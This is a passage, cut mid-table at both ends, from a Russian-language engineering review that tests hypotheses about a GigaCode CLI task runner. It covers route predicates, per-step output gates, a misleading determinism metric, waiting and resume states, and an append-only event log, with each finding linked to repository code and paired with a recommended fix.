\u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L69) \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0448\u0430\u0433\u0438 \u0441\u043e `script_invoked`, \u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 ([\u0413-29](#\u0433-29)). \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 ADR-018 \u00ab\u043c\u0435\u043d\u044c\u0448\u0435 95% \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\u00bb ([L55](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L55)) \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a\u0443.** \u0421\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0430\u0433\u0438, \u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430 \u043f\u043e \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 |\\n| \u0413-31 | \u041f\u0440\u043e\u0433\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c (`EP-R8`) | `halt` \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ([`run-task.py` L30](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L30)); `advance` \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043d\u0435 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `active` ([L199-L200](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L199-L200)); \u0440\u0435\u0431\u0440\u043e n7 \u2192 halt \u043f\u0440\u0438 `answers.count == 0` ([\u043c\u0430\u0440\u0448\u0440\u0443\u0442 L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0441 \u043d\u043e\u0432\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c (\u043e\u0442\u0432\u0435\u0442\u044b \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430); \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043b\u0438\u0441\u0442\u0430 \u043f\u043e `EP-R8` |\\n| \u0413-32 | \u041e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 runner \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 | `P12`: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0437\u043b\u0443 n9 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `task is blocked or finished`. \u041b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked` ([L143-L147](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L143-L147)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 (\u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u0431\u0440\u0430, \u043d\u0435\u0442 \u0444\u0430\u0439\u043b\u0430) \u2014 \u0435\u0451 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u043a\u0430\u0437 \u0433\u0435\u0439\u0442\u0430 \u2014 \u043e\u0442 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach. \u0414\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f: **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** \u2014 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u0432\u043e\u0433\u043e TASK ID |\\n| \u0413-33 | \u041f\u0430\u043a\u0435\u0442 \u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 (`EP-R7`) | `EP-R7` \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 ([L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231)); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 GigaCode \u2014 `corrective_attempts: 0` \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `EP-R7` ([L66-L67](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L66-L67)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.** \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435: \u043e\u0434\u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u2014 \u043e\u043d\u0430 \u043d\u0435 \u0441\u043a\u0440\u044b\u0442\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0443 ADR-018 |\\n| \u0413-34 | \u0423\u0437\u0435\u043b n7 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\u00bb \u043e\u043f\u0438\u0441\u0430\u043d \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e | \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0443\u0437\u043b\u0430: \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u00bb ([L24](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L24)); \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u0430: \u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u2014 \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u043f\u0430\u0443\u0437\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c Source.** \u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u043e\u043c \u0433\u0440\u0430\u0444\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 `waiting` ([\u0413-31](#\u0433-31)) |\\n| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n| \u0413-36 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u00ab\u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | [\u0412\u0435\u0440\u0434\u0438\u043a\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193) \u0440\u0435\u0448\u0430\u0435\u0442 build \u043f\u0440\u043e\u0442\u0438\u0432 buy \u0434\u043b\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043d\u043e \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u2014 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)) \u2014 \u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 1 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u00ab\u041d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442 \u00ab\u043d\u0435 \u0438\u043c\u0435\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u00bb. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u2014 \u0441\u0432\u043e\u0439 runner |\\n\\n### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-37 | \u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 (Cline, GigaCode CLI, \u0430\u043d\u0430\u043b\u043e\u0433\u0438) \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | Workflow Cline \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u043a\u0441\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0442\u0435\u0441\u0442 `slash-command-expansion`](https://github.com/cline/cline/blob/main/apps/vscode/src/sdk/slash-command-expansion.test.ts)); \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kilo Code, Gemini CLI \u0438 Qwen Code \u2014 \u0442\u043e\u0436\u0435 \u0442\u0435\u043a\u0441\u0442 ([Kilo](https://kilo.ai/docs/customize/workflows), [Gemini](https://geminicli.com/docs/cli/custom-commands/), [Qwen](https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/)). Skills GigaCode \u00ab\u043d\u0435 \u0434\u0430\u044e\u0442\u00bb \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 ([ADR-018 L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u041a\u043b\u0438\u0435\u043d\u0442 \u2014 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 runner |\\n| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 